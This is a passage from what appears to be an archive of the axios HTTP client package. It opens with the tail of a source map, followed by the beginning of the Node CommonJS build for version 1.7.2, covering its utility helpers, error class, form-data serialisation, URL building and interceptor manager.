AAU,IACVC,OAAQ,IACRC,kBAAmB,IACnBC,kBAAmB,IACnBC,WAAY,IACZC,aAAc,IACdC,gBAAiB,IACjBC,UAAW,IACXC,SAAU,IACVC,iBAAkB,IAClBC,cAAe,IACfC,4BAA6B,IAC7BC,eAAgB,IAChBC,SAAU,IACVC,KAAM,IACNC,eAAgB,IAChBC,mBAAoB,IACpBC,gBAAiB,IACjBC,WAAY,IACZC,qBAAsB,IACtBC,oBAAqB,IACrBC,kBAAmB,IACnBC,UAAW,IACXC,mBAAoB,IACpBC,oBAAqB,IACrBC,OAAQ,IACRC,iBAAkB,IAClBC,SAAU,IACVC,gBAAiB,IACjBC,qBAAsB,IACtBC,gBAAiB,IACjBC,4BAA6B,IAC7BC,2BAA4B,IAC5BC,oBAAqB,IACrBC,eAAgB,IAChBC,WAAY,IACZC,mBAAoB,IACpBC,eAAgB,IAChBC,wBAAyB,IACzBC,sBAAuB,IACvBC,oBAAqB,IACrBC,aAAc,IACdC,YAAa,IACbC,8BAA+B,KAGjC1rB,OAAOoR,QAAQuW,IAAgBtlB,SAAQ,EAAES,EAAKgE,MAC5C6gB,GAAe7gB,GAAShE,CAAG,IAG7B,MAAA6oB,GAAehE,GCxBf,MAAMiE,GAnBN,SAASC,EAAeC,GACtB,MAAMvoB,EAAU,IAAIqiB,GAAMkG,GACpBC,EAAWrsB,EAAKkmB,GAAM3lB,UAAU8K,QAASxH,GAa/C,OAVA2H,EAAMhF,OAAO6lB,EAAUnG,GAAM3lB,UAAWsD,EAAS,CAAChB,YAAY,IAG9D2I,EAAMhF,OAAO6lB,EAAUxoB,EAAS,KAAM,CAAChB,YAAY,IAGnDwpB,EAAS1rB,OAAS,SAAgBwlB,GAChC,OAAOgG,EAAe3P,GAAY4P,EAAejG,GACrD,EAESkG,CACT,CAGcF,CAAeva,IAG7Bsa,GAAMhG,MAAQA,GAGdgG,GAAMvU,cAAgBA,GACtBuU,GAAM1E,YAAcA,GACpB0E,GAAMzU,SAAWA,GACjByU,GAAMI,QLvDiB,QKwDvBJ,GAAMnf,WAAaA,EAGnBmf,GAAMjhB,WAAaA,EAGnBihB,GAAMK,OAASL,GAAMvU,cAGrBuU,GAAMM,IAAM,SAAaC,GACvB,OAAO9N,QAAQ6N,IAAIC,EACrB,EAEAP,GAAMQ,OC9CS,SAAgBC,GAC7B,OAAO,SAAcvkB,GACnB,OAAOukB,EAASxsB,MAAM,KAAMiI,EAChC,CACA,ED6CA8jB,GAAMU,aE7DS,SAAsBC,GACnC,OAAOrhB,EAAM7J,SAASkrB,KAAsC,IAAzBA,EAAQD,YAC7C,EF8DAV,GAAM1P,YAAcA,GAEpB0P,GAAM1X,aAAeA,GAErB0X,GAAMY,WAAalsB,GAASyQ,GAAe7F,EAAMvH,WAAWrD,GAAS,IAAI6E,SAAS7E,GAASA,GAE3FsrB,GAAMa,WAAarI,GAEnBwH,GAAMjE,eAAiBA,GAEvBiE,GAAMc,QAAUd,GAGhB,MAAee,GAAAf,IGnFThG,MACJA,GAAKjb,WACLA,GAAU0M,cACVA,GAAaF,SACbA,GAAQ+P,YACRA,GAAW8E,QACXA,GAAOE,IACPA,GAAGD,OACHA,GAAMK,aACNA,GAAYF,OACZA,GAAM3f,WACNA,GAAUyH,aACVA,GAAYyT,eACZA,GAAc6E,WACdA,GAAUC,WACVA,GAAUvQ,YACVA,IACE0P"}node/axios.cjs000064400000371032151677271550007343 0ustar00// Axios v1.7.2 Copyright (c) 2024 Matt Zabriskie and contributors
'use strict';

const FormData$1 = require('form-data');
const url = require('url');
const proxyFromEnv = require('proxy-from-env');
const http = require('http');
const https = require('https');
const util = require('util');
const followRedirects = require('follow-redirects');
const zlib = require('zlib');
const stream = require('stream');
const events = require('events');

function _interopDefaultLegacy (e) { return e && typeof e === 'object' && 'default' in e ? e : { 'default': e }; }

const FormData__default = /*#__PURE__*/_interopDefaultLegacy(FormData$1);
const url__default = /*#__PURE__*/_interopDefaultLegacy(url);
const http__default = /*#__PURE__*/_interopDefaultLegacy(http);
const https__default = /*#__PURE__*/_interopDefaultLegacy(https);
const util__default = /*#__PURE__*/_interopDefaultLegacy(util);
const followRedirects__default = /*#__PURE__*/_interopDefaultLegacy(followRedirects);
const zlib__default = /*#__PURE__*/_interopDefaultLegacy(zlib);
const stream__default = /*#__PURE__*/_interopDefaultLegacy(stream);

function bind(fn, thisArg) {
  return function wrap() {
    return fn.apply(thisArg, arguments);
  };
}

// utils is a library of generic helper functions non-specific to axios

const {toString} = Object.prototype;
const {getPrototypeOf} = Object;

const kindOf = (cache => thing => {
    const str = toString.call(thing);
    return cache[str] || (cache[str] = str.slice(8, -1).toLowerCase());
})(Object.create(null));

const kindOfTest = (type) => {
  type = type.toLowerCase();
  return (thing) => kindOf(thing) === type
};

const typeOfTest = type => thing => typeof thing === type;

/**
 * Determine if a value is an Array
 *
 * @param {Object} val The value to test
 *
 * @returns {boolean} True if value is an Array, otherwise false
 */
const {isArray} = Array;

/**
 * Determine if a value is undefined
 *
 * @param {*} val The value to test
 *
 * @returns {boolean} True if the value is undefined, otherwise false
 */
const isUndefined = typeOfTest('undefined');

/**
 * Determine if a value is a Buffer
 *
 * @param {*} val The value to test
 *
 * @returns {boolean} True if value is a Buffer, otherwise false
 */
function isBuffer(val) {
  return val !== null && !isUndefined(val) && val.constructor !== null && !isUndefined(val.constructor)
    && isFunction(val.constructor.isBuffer) && val.constructor.isBuffer(val);
}

/**
 * Determine if a value is an ArrayBuffer
 *
 * @param {*} val The value to test
 *
 * @returns {boolean} True if value is an ArrayBuffer, otherwise false
 */
const isArrayBuffer = kindOfTest('ArrayBuffer');


/**
 * Determine if a value is a view on an ArrayBuffer
 *
 * @param {*} val The value to test
 *
 * @returns {boolean} True if value is a view on an ArrayBuffer, otherwise false
 */
function isArrayBufferView(val) {
  let result;
  if ((typeof ArrayBuffer !== 'undefined') && (ArrayBuffer.isView)) {
    result = ArrayBuffer.isView(val);
  } else {
    result = (val) && (val.buffer) && (isArrayBuffer(val.buffer));
  }
  return result;
}

/**
 * Determine if a value is a String
 *
 * @param {*} val The value to test
 *
 * @returns {boolean} True if value is a String, otherwise false
 */
const isString = typeOfTest('string');

/**
 * Determine if a value is a Function
 *
 * @param {*} val The value to test
 * @returns {boolean} True if value is a Function, otherwise false
 */
const isFunction = typeOfTest('function');

/**
 * Determine if a value is a Number
 *
 * @param {*} val The value to test
 *
 * @returns {boolean} True if value is a Number, otherwise false
 */
const isNumber = typeOfTest('number');

/**
 * Determine if a value is an Object
 *
 * @param {*} thing The value to test
 *
 * @returns {boolean} True if value is an Object, otherwise false
 */
const isObject = (thing) => thing !== null && typeof thing === 'object';

/**
 * Determine if a value is a Boolean
 *
 * @param {*} thing The value to test
 * @returns {boolean} True if value is a Boolean, otherwise false
 */
const isBoolean = thing => thing === true || thing === false;

/**
 * Determine if a value is a plain Object
 *
 * @param {*} val The value to test
 *
 * @returns {boolean} True if value is a plain Object, otherwise false
 */
const isPlainObject = (val) => {
  if (kindOf(val) !== 'object') {
    return false;
  }

  const prototype = getPrototypeOf(val);
  return (prototype === null || prototype === Object.prototype || Object.getPrototypeOf(prototype) === null) && !(Symbol.toStringTag in val) && !(Symbol.iterator in val);
};

/**
 * Determine if a value is a Date
 *
 * @param {*} val The value to test
 *
 * @returns {boolean} True if value is a Date, otherwise false
 */
const isDate = kindOfTest('Date');

/**
 * Determine if a value is a File
 *
 * @param {*} val The value to test
 *
 * @returns {boolean} True if value is a File, otherwise false
 */
const isFile = kindOfTest('File');

/**
 * Determine if a value is a Blob
 *
 * @param {*} val The value to test
 *
 * @returns {boolean} True if value is a Blob, otherwise false
 */
const isBlob = kindOfTest('Blob');

/**
 * Determine if a value is a FileList
 *
 * @param {*} val The value to test
 *
 * @returns {boolean} True if value is a File, otherwise false
 */
const isFileList = kindOfTest('FileList');

/**
 * Determine if a value is a Stream
 *
 * @param {*} val The value to test
 *
 * @returns {boolean} True if value is a Stream, otherwise false
 */
const isStream = (val) => isObject(val) && isFunction(val.pipe);

/**
 * Determine if a value is a FormData
 *
 * @param {*} thing The value to test
 *
 * @returns {boolean} True if value is an FormData, otherwise false
 */
const isFormData = (thing) => {
  let kind;
  return thing && (
    (typeof FormData === 'function' && thing instanceof FormData) || (
      isFunction(thing.append) && (
        (kind = kindOf(thing)) === 'formdata' ||
        // detect form-data instance
        (kind === 'object' && isFunction(thing.toString) && thing.toString() === '[object FormData]')
      )
    )
  )
};

/**
 * Determine if a value is a URLSearchParams object
 *
 * @param {*} val The value to test
 *
 * @returns {boolean} True if value is a URLSearchParams object, otherwise false
 */
const isURLSearchParams = kindOfTest('URLSearchParams');

const [isReadableStream, isRequest, isResponse, isHeaders] = ['ReadableStream', 'Request', 'Response', 'Headers'].map(kindOfTest);

/**
 * Trim excess whitespace off the beginning and end of a string
 *
 * @param {String} str The String to trim
 *
 * @returns {String} The String freed of excess whitespace
 */
const trim = (str) => str.trim ?
  str.trim() : str.replace(/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g, '');

/**
 * Iterate over an Array or an Object invoking a function for each item.
 *
 * If `obj` is an Array callback will be called passing
 * the value, index, and complete array for each item.
 *
 * If 'obj' is an Object callback will be called passing
 * the value, key, and complete object for each property.
 *
 * @param {Object|Array} obj The object to iterate
 * @param {Function} fn The callback to invoke for each item
 *
 * @param {Boolean} [allOwnKeys = false]
 * @returns {any}
 */
function forEach(obj, fn, {allOwnKeys = false} = {}) {
  // Don't bother if no value provided
  if (obj === null || typeof obj === 'undefined') {
    return;
  }

  let i;
  let l;

  // Force an array if not already something iterable
  if (typeof obj !== 'object') {
    /*eslint no-param-reassign:0*/
    obj = [obj];
  }

  if (isArray(obj)) {
    // Iterate over array values
    for (i = 0, l = obj.length; i < l; i++) {
      fn.call(null, obj[i], i, obj);
    }
  } else {
    // Iterate over object keys
    const keys = allOwnKeys ? Object.getOwnPropertyNames(obj) : Object.keys(obj);
    const len = keys.length;
    let key;

    for (i = 0; i < len; i++) {
      key = keys[i];
      fn.call(null, obj[key], key, obj);
    }
  }
}

function findKey(obj, key) {
  key = key.toLowerCase();
  const keys = Object.keys(obj);
  let i = keys.length;
  let _key;
  while (i-- > 0) {
    _key = keys[i];
    if (key === _key.toLowerCase()) {
      return _key;
    }
  }
  return null;
}

const _global = (() => {
  /*eslint no-undef:0*/
  if (typeof globalThis !== "undefined") return globalThis;
  return typeof self !== "undefined" ? self : (typeof window !== 'undefined' ? window : global)
})();

const isContextDefined = (context) => !isUndefined(context) && context !== _global;

/**
 * Accepts varargs expecting each argument to be an object, then
 * immutably merges the properties of each object and returns result.
 *
 * When multiple objects contain the same key the later object in
 * the arguments list will take precedence.
 *
 * Example:
 *
 * ```js
 * var result = merge({foo: 123}, {foo: 456});
 * console.log(result.foo); // outputs 456
 * ```
 *
 * @param {Object} obj1 Object to merge
 *
 * @returns {Object} Result of all merge properties
 */
function merge(/* obj1, obj2, obj3, ... */) {
  const {caseless} = isContextDefined(this) && this || {};
  const result = {};
  const assignValue = (val, key) => {
    const targetKey = caseless && findKey(result, key) || key;
    if (isPlainObject(result[targetKey]) && isPlainObject(val)) {
      result[targetKey] = merge(result[targetKey], val);
    } else if (isPlainObject(val)) {
      result[targetKey] = merge({}, val);
    } else if (isArray(val)) {
      result[targetKey] = val.slice();
    } else {
      result[targetKey] = val;
    }
  };

  for (let i = 0, l = arguments.length; i < l; i++) {
    arguments[i] && forEach(arguments[i], assignValue);
  }
  return result;
}

/**
 * Extends object a by mutably adding to it the properties of object b.
 *
 * @param {Object} a The object to be extended
 * @param {Object} b The object to copy properties from
 * @param {Object} thisArg The object to bind function to
 *
 * @param {Boolean} [allOwnKeys]
 * @returns {Object} The resulting value of object a
 */
const extend = (a, b, thisArg, {allOwnKeys}= {}) => {
  forEach(b, (val, key) => {
    if (thisArg && isFunction(val)) {
      a[key] = bind(val, thisArg);
    } else {
      a[key] = val;
    }
  }, {allOwnKeys});
  return a;
};

/**
 * Remove byte order marker. This catches EF BB BF (the UTF-8 BOM)
 *
 * @param {string} content with BOM
 *
 * @returns {string} content value without BOM
 */
const stripBOM = (content) => {
  if (content.charCodeAt(0) === 0xFEFF) {
    content = content.slice(1);
  }
  return content;
};

/**
 * Inherit the prototype methods from one constructor into another
 * @param {function} constructor
 * @param {function} superConstructor
 * @param {object} [props]
 * @param {object} [descriptors]
 *
 * @returns {void}
 */
const inherits = (constructor, superConstructor, props, descriptors) => {
  constructor.prototype = Object.create(superConstructor.prototype, descriptors);
  constructor.prototype.constructor = constructor;
  Object.defineProperty(constructor, 'super', {
    value: superConstructor.prototype
  });
  props && Object.assign(constructor.prototype, props);
};

/**
 * Resolve object with deep prototype chain to a flat object
 * @param {Object} sourceObj source object
 * @param {Object} [destObj]
 * @param {Function|Boolean} [filter]
 * @param {Function} [propFilter]
 *
 * @returns {Object}
 */
const toFlatObject = (sourceObj, destObj, filter, propFilter) => {
  let props;
  let i;
  let prop;
  const merged = {};

  destObj = destObj || {};
  // eslint-disable-next-line no-eq-null,eqeqeq
  if (sourceObj == null) return destObj;

  do {
    props = Object.getOwnPropertyNames(sourceObj);
    i = props.length;
    while (i-- > 0) {
      prop = props[i];
      if ((!propFilter || propFilter(prop, sourceObj, destObj)) && !merged[prop]) {
        destObj[prop] = sourceObj[prop];
        merged[prop] = true;
      }
    }
    sourceObj = filter !== false && getPrototypeOf(sourceObj);
  } while (sourceObj && (!filter || filter(sourceObj, destObj)) && sourceObj !== Object.prototype);

  return destObj;
};

/**
 * Determines whether a string ends with the characters of a specified string
 *
 * @param {String} str
 * @param {String} searchString
 * @param {Number} [position= 0]
 *
 * @returns {boolean}
 */
const endsWith = (str, searchString, position) => {
  str = String(str);
  if (position === undefined || position > str.length) {
    position = str.length;
  }
  position -= searchString.length;
  const lastIndex = str.indexOf(searchString, position);
  return lastIndex !== -1 && lastIndex === position;
};


/**
 * Returns new array from array like object or null if failed
 *
 * @param {*} [thing]
 *
 * @returns {?Array}
 */
const toArray = (thing) => {
  if (!thing) return null;
  if (isArray(thing)) return thing;
  let i = thing.length;
  if (!isNumber(i)) return null;
  const arr = new Array(i);
  while (i-- > 0) {
    arr[i] = thing[i];
  }
  return arr;
};

/**
 * Checking if the Uint8Array exists and if it does, it returns a function that checks if the
 * thing passed in is an instance of Uint8Array
 *
 * @param {TypedArray}
 *
 * @returns {Array}
 */
// eslint-disable-next-line func-names
const isTypedArray = (TypedArray => {
  // eslint-disable-next-line func-names
  return thing => {
    return TypedArray && thing instanceof TypedArray;
  };
})(typeof Uint8Array !== 'undefined' && getPrototypeOf(Uint8Array));

/**
 * For each entry in the object, call the function with the key and value.
 *
 * @param {Object<any, any>} obj - The object to iterate over.
 * @param {Function} fn - The function to call for each entry.
 *
 * @returns {void}
 */
const forEachEntry = (obj, fn) => {
  const generator = obj && obj[Symbol.iterator];

  const iterator = generator.call(obj);

  let result;

  while ((result = iterator.next()) && !result.done) {
    const pair = result.value;
    fn.call(obj, pair[0], pair[1]);
  }
};

/**
 * It takes a regular expression and a string, and returns an array of all the matches
 *
 * @param {string} regExp - The regular expression to match against.
 * @param {string} str - The string to search.
 *
 * @returns {Array<boolean>}
 */
const matchAll = (regExp, str) => {
  let matches;
  const arr = [];

  while ((matches = regExp.exec(str)) !== null) {
    arr.push(matches);
  }

  return arr;
};

/* Checking if the kindOfTest function returns true when passed an HTMLFormElement. */
const isHTMLForm = kindOfTest('HTMLFormElement');

const toCamelCase = str => {
  return str.toLowerCase().replace(/[-_\s]([a-z\d])(\w*)/g,
    function replacer(m, p1, p2) {
      return p1.toUpperCase() + p2;
    }
  );
};

/* Creating a function that will check if an object has a property. */
const hasOwnProperty = (({hasOwnProperty}) => (obj, prop) => hasOwnProperty.call(obj, prop))(Object.prototype);

/**
 * Determine if a value is a RegExp object
 *
 * @param {*} val The value to test
 *
 * @returns {boolean} True if value is a RegExp object, otherwise false
 */
const isRegExp = kindOfTest('RegExp');

const reduceDescriptors = (obj, reducer) => {
  const descriptors = Object.getOwnPropertyDescriptors(obj);
  const reducedDescriptors = {};

  forEach(descriptors, (descriptor, name) => {
    let ret;
    if ((ret = reducer(descriptor, name, obj)) !== false) {
      reducedDescriptors[name] = ret || descriptor;
    }
  });

  Object.defineProperties(obj, reducedDescriptors);
};

/**
 * Makes all methods read-only
 * @param {Object} obj
 */

const freezeMethods = (obj) => {
  reduceDescriptors(obj, (descriptor, name) => {
    // skip restricted props in strict mode
    if (isFunction(obj) && ['arguments', 'caller', 'callee'].indexOf(name) !== -1) {
      return false;
    }

    const value = obj[name];

    if (!isFunction(value)) return;

    descriptor.enumerable = false;

    if ('writable' in descriptor) {
      descriptor.writable = false;
      return;
    }

    if (!descriptor.set) {
      descriptor.set = () => {
        throw Error('Can not rewrite read-only method \'' + name + '\'');
      };
    }
  });
};

const toObjectSet = (arrayOrString, delimiter) => {
  const obj = {};

  const define = (arr) => {
    arr.forEach(value => {
      obj[value] = true;
    });
  };

  isArray(arrayOrString) ? define(arrayOrString) : define(String(arrayOrString).split(delimiter));

  return obj;
};

const noop = () => {};

const toFiniteNumber = (value, defaultValue) => {
  return value != null && Number.isFinite(value = +value) ? value : defaultValue;
};

const ALPHA = 'abcdefghijklmnopqrstuvwxyz';

const DIGIT = '0123456789';

const ALPHABET = {
  DIGIT,
  ALPHA,
  ALPHA_DIGIT: ALPHA + ALPHA.toUpperCase() + DIGIT
};

const generateString = (size = 16, alphabet = ALPHABET.ALPHA_DIGIT) => {
  let str = '';
  const {length} = alphabet;
  while (size--) {
    str += alphabet[Math.random() * length|0];
  }

  return str;
};

/**
 * If the thing is a FormData object, return true, otherwise return false.
 *
 * @param {unknown} thing - The thing to check.
 *
 * @returns {boolean}
 */
function isSpecCompliantForm(thing) {
  return !!(thing && isFunction(thing.append) && thing[Symbol.toStringTag] === 'FormData' && thing[Symbol.iterator]);
}

const toJSONObject = (obj) => {
  const stack = new Array(10);

  const visit = (source, i) => {

    if (isObject(source)) {
      if (stack.indexOf(source) >= 0) {
        return;
      }

      if(!('toJSON' in source)) {
        stack[i] = source;
        const target = isArray(source) ? [] : {};

        forEach(source, (value, key) => {
          const reducedValue = visit(value, i + 1);
          !isUndefined(reducedValue) && (target[key] = reducedValue);
        });

        stack[i] = undefined;

        return target;
      }
    }

    return source;
  };

  return visit(obj, 0);
};

const isAsyncFn = kindOfTest('AsyncFunction');

const isThenable = (thing) =>
  thing && (isObject(thing) || isFunction(thing)) && isFunction(thing.then) && isFunction(thing.catch);

const utils$1 = {
  isArray,
  isArrayBuffer,
  isBuffer,
  isFormData,
  isArrayBufferView,
  isString,
  isNumber,
  isBoolean,
  isObject,
  isPlainObject,
  isReadableStream,
  isRequest,
  isResponse,
  isHeaders,
  isUndefined,
  isDate,
  isFile,
  isBlob,
  isRegExp,
  isFunction,
  isStream,
  isURLSearchParams,
  isTypedArray,
  isFileList,
  forEach,
  merge,
  extend,
  trim,
  stripBOM,
  inherits,
  toFlatObject,
  kindOf,
  kindOfTest,
  endsWith,
  toArray,
  forEachEntry,
  matchAll,
  isHTMLForm,
  hasOwnProperty,
  hasOwnProp: hasOwnProperty, // an alias to avoid ESLint no-prototype-builtins detection
  reduceDescriptors,
  freezeMethods,
  toObjectSet,
  toCamelCase,
  noop,
  toFiniteNumber,
  findKey,
  global: _global,
  isContextDefined,
  ALPHABET,
  generateString,
  isSpecCompliantForm,
  toJSONObject,
  isAsyncFn,
  isThenable
};

/**
 * Create an Error with the specified message, config, error code, request and response.
 *
 * @param {string} message The error message.
 * @param {string} [code] The error code (for example, 'ECONNABORTED').
 * @param {Object} [config] The config.
 * @param {Object} [request] The request.
 * @param {Object} [response] The response.
 *
 * @returns {Error} The created error.
 */
function AxiosError(message, code, config, request, response) {
  Error.call(this);

  if (Error.captureStackTrace) {
    Error.captureStackTrace(this, this.constructor);
  } else {
    this.stack = (new Error()).stack;
  }

  this.message = message;
  this.name = 'AxiosError';
  code && (this.code = code);
  config && (this.config = config);
  request && (this.request = request);
  response && (this.response = response);
}

utils$1.inherits(AxiosError, Error, {
  toJSON: function toJSON() {
    return {
      // Standard
      message: this.message,
      name: this.name,
      // Microsoft
      description: this.description,
      number: this.number,
      // Mozilla
      fileName: this.fileName,
      lineNumber: this.lineNumber,
      columnNumber: this.columnNumber,
      stack: this.stack,
      // Axios
      config: utils$1.toJSONObject(this.config),
      code: this.code,
      status: this.response && this.response.status ? this.response.status : null
    };
  }
});

const prototype$1 = AxiosError.prototype;
const descriptors = {};

[
  'ERR_BAD_OPTION_VALUE',
  'ERR_BAD_OPTION',
  'ECONNABORTED',
  'ETIMEDOUT',
  'ERR_NETWORK',
  'ERR_FR_TOO_MANY_REDIRECTS',
  'ERR_DEPRECATED',
  'ERR_BAD_RESPONSE',
  'ERR_BAD_REQUEST',
  'ERR_CANCELED',
  'ERR_NOT_SUPPORT',
  'ERR_INVALID_URL'
// eslint-disable-next-line func-names
].forEach(code => {
  descriptors[code] = {value: code};
});

Object.defineProperties(AxiosError, descriptors);
Object.defineProperty(prototype$1, 'isAxiosError', {value: true});

// eslint-disable-next-line func-names
AxiosError.from = (error, code, config, request, response, customProps) => {
  const axiosError = Object.create(prototype$1);

  utils$1.toFlatObject(error, axiosError, function filter(obj) {
    return obj !== Error.prototype;
  }, prop => {
    return prop !== 'isAxiosError';
  });

  AxiosError.call(axiosError, error.message, code, config, request, response);

  axiosError.cause = error;

  axiosError.name = error.name;

  customProps && Object.assign(axiosError, customProps);

  return axiosError;
};

/**
 * Determines if the given thing is a array or js object.
 *
 * @param {string} thing - The object or array to be visited.
 *
 * @returns {boolean}
 */
function isVisitable(thing) {
  return utils$1.isPlainObject(thing) || utils$1.isArray(thing);
}

/**
 * It removes the brackets from the end of a string
 *
 * @param {string} key - The key of the parameter.
 *
 * @returns {string} the key without the brackets.
 */
function removeBrackets(key) {
  return utils$1.endsWith(key, '[]') ? key.slice(0, -2) : key;
}

/**
 * It takes a path, a key, and a boolean, and returns a string
 *
 * @param {string} path - The path to the current key.
 * @param {string} key - The key of the current object being iterated over.
 * @param {string} dots - If true, the key will be rendered with dots instead of brackets.
 *
 * @returns {string} The path to the current key.
 */
function renderKey(path, key, dots) {
  if (!path) return key;
  return path.concat(key).map(function each(token, i) {
    // eslint-disable-next-line no-param-reassign
    token = removeBrackets(token);
    return !dots && i ? '[' + token + ']' : token;
  }).join(dots ? '.' : '');
}

/**
 * If the array is an array and none of its elements are visitable, then it's a flat array.
 *
 * @param {Array<any>} arr - The array to check
 *
 * @returns {boolean}
 */
function isFlatArray(arr) {
  return utils$1.isArray(arr) && !arr.some(isVisitable);
}

const predicates = utils$1.toFlatObject(utils$1, {}, null, function filter(prop) {
  return /^is[A-Z]/.test(prop);
});

/**
 * Convert a data object to FormData
 *
 * @param {Object} obj
 * @param {?Object} [formData]
 * @param {?Object} [options]
 * @param {Function} [options.visitor]
 * @param {Boolean} [options.metaTokens = true]
 * @param {Boolean} [options.dots = false]
 * @param {?Boolean} [options.indexes = false]
 *
 * @returns {Object}
 **/

/**
 * It converts an object into a FormData object
 *
 * @param {Object<any, any>} obj - The object to convert to form data.
 * @param {string} formData - The FormData object to append to.
 * @param {Object<string, any>} options
 *
 * @returns
 */
function toFormData(obj, formData, options) {
  if (!utils$1.isObject(obj)) {
    throw new TypeError('target must be an object');
  }

  // eslint-disable-next-line no-param-reassign
  formData = formData || new (FormData__default["default"] || FormData)();

  // eslint-disable-next-line no-param-reassign
  options = utils$1.toFlatObject(options, {
    metaTokens: true,
    dots: false,
    indexes: false
  }, false, function defined(option, source) {
    // eslint-disable-next-line no-eq-null,eqeqeq
    return !utils$1.isUndefined(source[option]);
  });

  const metaTokens = options.metaTokens;
  // eslint-disable-next-line no-use-before-define
  const visitor = options.visitor || defaultVisitor;
  const dots = options.dots;
  const indexes = options.indexes;
  const _Blob = options.Blob || typeof Blob !== 'undefined' && Blob;
  const useBlob = _Blob && utils$1.isSpecCompliantForm(formData);

  if (!utils$1.isFunction(visitor)) {
    throw new TypeError('visitor must be a function');
  }

  function convertValue(value) {
    if (value === null) return '';

    if (utils$1.isDate(value)) {
      return value.toISOString();
    }

    if (!useBlob && utils$1.isBlob(value)) {
      throw new AxiosError('Blob is not supported. Use a Buffer instead.');
    }

    if (utils$1.isArrayBuffer(value) || utils$1.isTypedArray(value)) {
      return useBlob && typeof Blob === 'function' ? new Blob([value]) : Buffer.from(value);
    }

    return value;
  }

  /**
   * Default visitor.
   *
   * @param {*} value
   * @param {String|Number} key
   * @param {Array<String|Number>} path
   * @this {FormData}
   *
   * @returns {boolean} return true to visit the each prop of the value recursively
   */
  function defaultVisitor(value, key, path) {
    let arr = value;

    if (value && !path && typeof value === 'object') {
      if (utils$1.endsWith(key, '{}')) {
        // eslint-disable-next-line no-param-reassign
        key = metaTokens ? key : key.slice(0, -2);
        // eslint-disable-next-line no-param-reassign
        value = JSON.stringify(value);
      } else if (
        (utils$1.isArray(value) && isFlatArray(value)) ||
        ((utils$1.isFileList(value) || utils$1.endsWith(key, '[]')) && (arr = utils$1.toArray(value))
        )) {
        // eslint-disable-next-line no-param-reassign
        key = removeBrackets(key);

        arr.forEach(function each(el, index) {
          !(utils$1.isUndefined(el) || el === null) && formData.append(
            // eslint-disable-next-line no-nested-ternary
            indexes === true ? renderKey([key], index, dots) : (indexes === null ? key : key + '[]'),
            convertValue(el)
          );
        });
        return false;
      }
    }

    if (isVisitable(value)) {
      return true;
    }

    formData.append(renderKey(path, key, dots), convertValue(value));

    return false;
  }

  const stack = [];

  const exposedHelpers = Object.assign(predicates, {
    defaultVisitor,
    convertValue,
    isVisitable
  });

  function build(value, path) {
    if (utils$1.isUndefined(value)) return;

    if (stack.indexOf(value) !== -1) {
      throw Error('Circular reference detected in ' + path.join('.'));
    }

    stack.push(value);

    utils$1.forEach(value, function each(el, key) {
      const result = !(utils$1.isUndefined(el) || el === null) && visitor.call(
        formData, el, utils$1.isString(key) ? key.trim() : key, path, exposedHelpers
      );

      if (result === true) {
        build(el, path ? path.concat(key) : [key]);
      }
    });

    stack.pop();
  }

  if (!utils$1.isObject(obj)) {
    throw new TypeError('data must be an object');
  }

  build(obj);

  return formData;
}

/**
 * It encodes a string by replacing all characters that are not in the unreserved set with
 * their percent-encoded equivalents
 *
 * @param {string} str - The string to encode.
 *
 * @returns {string} The encoded string.
 */
function encode$1(str) {
  const charMap = {
    '!': '%21',
    "'": '%27',
    '(': '%28',
    ')': '%29',
    '~': '%7E',
    '%20': '+',
    '%00': '\x00'
  };
  return encodeURIComponent(str).replace(/[!'()~]|%20|%00/g, function replacer(match) {
    return charMap[match];
  });
}

/**
 * It takes a params object and converts it to a FormData object
 *
 * @param {Object<string, any>} params - The parameters to be converted to a FormData object.
 * @param {Object<string, any>} options - The options object passed to the Axios constructor.
 *
 * @returns {void}
 */
function AxiosURLSearchParams(params, options) {
  this._pairs = [];

  params && toFormData(params, this, options);
}

const prototype = AxiosURLSearchParams.prototype;

prototype.append = function append(name, value) {
  this._pairs.push([name, value]);
};

prototype.toString = function toString(encoder) {
  const _encode = encoder ? function(value) {
    return encoder.call(this, value, encode$1);
  } : encode$1;

  return this._pairs.map(function each(pair) {
    return _encode(pair[0]) + '=' + _encode(pair[1]);
  }, '').join('&');
};

/**
 * It replaces all instances of the characters `:`, `$`, `,`, `+`, `[`, and `]` with their
 * URI encoded counterparts
 *
 * @param {string} val The value to be encoded.
 *
 * @returns {string} The encoded value.
 */
function encode(val) {
  return encodeURIComponent(val).
    replace(/%3A/gi, ':').
    replace(/%24/g, '$').
    replace(/%2C/gi, ',').
    replace(/%20/g, '+').
    replace(/%5B/gi, '[').
    replace(/%5D/gi, ']');
}

/**
 * Build a URL by appending params to the end
 *
 * @param {string} url The base of the url (e.g., http://www.google.com)
 * @param {object} [params] The params to be appended
 * @param {?object} options
 *
 * @returns {string} The formatted url
 */
function buildURL(url, params, options) {
  /*eslint no-param-reassign:0*/
  if (!params) {
    return url;
  }
  
  const _encode = options && options.encode || encode;

  const serializeFn = options && options.serialize;

  let serializedParams;

  if (serializeFn) {
    serializedParams = serializeFn(params, options);
  } else {
    serializedParams = utils$1.isURLSearchParams(params) ?
      params.toString() :
      new AxiosURLSearchParams(params, options).toString(_encode);
  }

  if (serializedParams) {
    const hashmarkIndex = url.indexOf("#");

    if (hashmarkIndex !== -1) {
      url = url.slice(0, hashmarkIndex);
    }
    url += (url.indexOf('?') === -1 ? '?' : '&') + serializedParams;
  }

  return url;
}

class InterceptorManager {
  constructor() {
    this.handlers = [];
  }

  /**
   * Add a new interceptor to the stack
   *
   * @param {Function} fulfilled The function to handle `then` for a `Promise`
   * @param {Function} rejected The function to handle `reject` for a `Promise`
   *
   * @return {Number} An ID used to remove interceptor later
   */
  use(fulfilled, rejected, options) {
    this.handlers.push({
      fulfilled,
      rejected,
      synchronous: options ? options.synchronous : false,
      runWhen: options ? options.runWhen : null
    });
    return this.handlers.length - 1;
  }

  /**
   * Remove an interceptor from the stack
   *
   * @param {Number} id The ID that was returned by `use`
   *
   * @returns {Boolean} `true` if the interceptor was removed, `false` otherwise
   */
  eject(id) {
    if (this.handlers[id]) {
      this.handlers[id] = null;
    }
  }

  /**
   * Clear all interceptors from the stack
   *
   * @returns {void}
   */
  clear() {
    if (this.handlers) {
      this.handlers = [];
    }
  }

  /**
   * Iterate over all the registered interceptors
   *
   * This method is particularly useful for skipping over any
   * interceptors that may have become `null` calling `eject`.
   *
   * @param {Function} fn The function to call for each interceptor
   *
   * @returns {void}
   */
  forEach(fn) {
    utils$1.forEach(this.handlers, function forEachHandler(h) {
      if (h !== null) {
        fn(h);
      }
    });
  }
}

const InterceptorManager$1 = InterceptorManager;

